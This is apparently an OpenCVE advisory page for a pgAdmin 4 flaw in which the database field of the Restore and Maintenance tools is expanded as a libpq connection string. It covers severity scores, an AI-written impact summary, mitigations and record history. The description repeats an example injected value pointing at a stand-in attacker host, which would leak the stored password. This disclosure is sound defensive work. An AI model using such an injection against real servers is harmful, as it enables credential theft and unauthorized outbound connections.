Description
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.

The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.

The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.

This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
Published: 2026-09-17
Score: 7.1 High
EPSS: < 1% Very Low
KEV: No
Impact: Credential exposure and unauthorized outbound connections via forged connection strings
Action: Apply patch immediately
AI Analysis

Impact

pgAdmin 4’s Restore and Maintenance tools expose the client‑supplied database field directly to the --dbname option of pg_restore and psql. The libpq library expands a database name containing an equals sign into a full connection string, giving embedded keywords precedence over the host and port parameters supplied by pgAdmin. An attacker can therefore supply a value such as "host=attacker.example port=5432 dbname=x" causing the utility to connect to an attacker‑controlled server. Because pgAdmin exports the stored database password into the PGPASSWORD environment variable before invoking the utility, the redirected connection presents that credential to the external endpoint, allowing credential theft and the possibility of further interaction with the target database.

Affected Systems

The vulnerability affects pgAdmin 4 releases that introduced the --dbname argument in the Restore and Maintenance tools, before version 9.18. Any authenticated user with the tools_restore or tools_maintenance permission, which the default User role grants, can trigger the exploit. The issue is confined to the pgAdmin 4 application and the database servers it connects to.

Risk and Exploitability

The CVSS score of 7.1 classifies this as a moderate‑to‑high severity vulnerability. Although the EPSS score is currently unavailable and the flaw is not listed in CISA’s KEV catalog, the attack vector remains within the context of an authenticated client session using pgAdmin. The risk is that an attacker with legitimate credentials can cause pgAdmin to expose sensitive credentials to arbitrary external services and establish unexpected outbound connections from the pgAdmin host. The exploit does not require additional privileges beyond those normally granted to a user with Restore or Maintenance tool access.

Generated by OpenCVE AI on September 17, 2026 at 20:27 UTC.

Remediation

No solution or workaround provided in the CVE record.

OpenCVE Recommended Actions

  • Apply the latest pgAdmin 4 release that implements the fix by passing the target database in the PGDATABASE environment variable, ensuring libpq treats it as a literal name.
  • If upgrading is not immediately feasible, restrict the tools_restore and tools_maintenance permissions from users or roles that should not use the Restore and Maintenance tools, thereby removing the injection vector.
  • Monitor and audit database traffic and logs for unexpected outbound connections originating from the pgAdmin host, and enforce network controls such as firewall rules to block unapproved external connections.

Generated by OpenCVE AI on September 17, 2026 at 20:27 UTC.

Tracking

Sign in to view the affected projects.

Advisories

No advisories yet.

History

Mon, 21 Sep 2026 17:45:00 +0000

Type Values Removed Values Added
CPEs cpe:2.3:a:pgadmin:pgadmin_4:*:*:*:*:*:postgresql:*:*

Thu, 17 Sep 2026 20:45:00 +0000

Type Values Removed Values Added
First Time appeared Pgadmin
Pgadmin pgadmin 4
Vendors & Products Pgadmin
Pgadmin pgadmin 4

Thu, 17 Sep 2026 17:30:00 +0000

Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'partial'}, 'version': '2.0.3'}


Thu, 17 Sep 2026 15:45:00 +0000

Type Values Removed Values Added
Description pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
Title pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools
Weaknesses CWE-522
CWE-88
CWE-918
References
Metrics cvssV3_1

{'score': 6.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N'}

cvssV4_0

{'score': 7.1, 'vector': 'CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N'}


Subscriptions

Pgadmin Pgadmin 4
cve-icon MITRE

Status: PUBLISHED

Assigner: PostgreSQL

Published:

Updated: 2026-09-17T16:02:27.894Z

Reserved: 2026-09-08T15:47:04.819Z

Link: CVE-2026-86862

cve-icon Vulnrichment

Updated: 2026-09-17T16:02:06.795Z

cve-icon NVD

Status : Analyzed

Published: 2026-09-17T16:18:17.717

Modified: 2026-09-21T17:27:19.973

Link: CVE-2026-86862

cve-icon Redhat

No data.

cve-icon OpenCVE Enrichment

Updated: 2026-09-17T20:30:17Z

Weaknesses
  • CWE-522

    Insufficiently Protected Credentials

  • CWE-88

    Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

  • CWE-918

    Server-Side Request Forgery (SSRF)